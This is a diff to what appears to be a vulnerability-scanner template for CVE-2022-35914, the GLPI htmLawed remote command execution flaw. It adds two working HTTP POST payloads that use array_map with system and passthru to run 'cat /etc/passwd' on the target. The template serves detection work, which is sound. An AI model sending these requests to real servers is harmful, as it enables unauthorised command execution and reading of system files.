Merge pull request #10279 from allendemoura/main

Updated CVE-2022-35914 template

http/cves/2022/CVE-2022-35914.yaml

@@ -2,7 +2,7 @@ id: CVE-2022-35914
 
 info:
   name: GLPI <=10.0.2 - Remote Command Execution
-  author: For3stCo1d
+  author: For3stCo1d,allendemoura
   severity: critical
   description: |
     GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
@@ -16,6 +16,8 @@ info:
     - http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed
     - https://nvd.nist.gov/vuln/detail/CVE-2022-35914
     - https://github.com/glpi-project/glpi/releases
+    - https://senderend.medium.com/pg-practice-box-deep-dive-glpi-c3a1cf1520f8
+    - https://github.com/allendemoura/CVE-2022-35914
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
@@ -39,6 +41,8 @@ info:
   tags: cve,cve2022,glpi,rce,kev,glpi-project
 variables:
   cmd: "cat+/etc/passwd"
+  execFunc1: "system"
+  execFunc2: "passthru"
 
 http:
   - raw:
@@ -49,6 +53,22 @@ http:
         Cookie: sid=foo
 
         sid=foo&hhook=exec&text={{cmd}}
+  - raw:
+      - |
+        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: sid=foo
+
+        sid=foo&text={{execFunc1}}&hfoo={{cmd}}&hhook=array_map
+  - raw:
+      - |
+        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: sid=foo
+
+        sid=foo&text={{execFunc2}}&hfoo={{cmd}}&hhook=array_map
 
     matchers-condition: and
     matchers:
@@ -60,4 +80,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022031f4721d255682854c1f6e4bd4388e92d46d517fab31f98380587eb1a48affb80220778ad6d9444db683bd4d83ff14f1b4c8bdd98b8a158995518fb94c3fe5cc4a19:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022031f4721d255682854c1f6e4bd4388e92d46d517fab31f98380587eb1a48affb80220778ad6d9444db683bd4d83ff14f1b4c8bdd98b8a158995518fb94c3fe5cc4a19:922c64590222798bb761d5b6d8e72950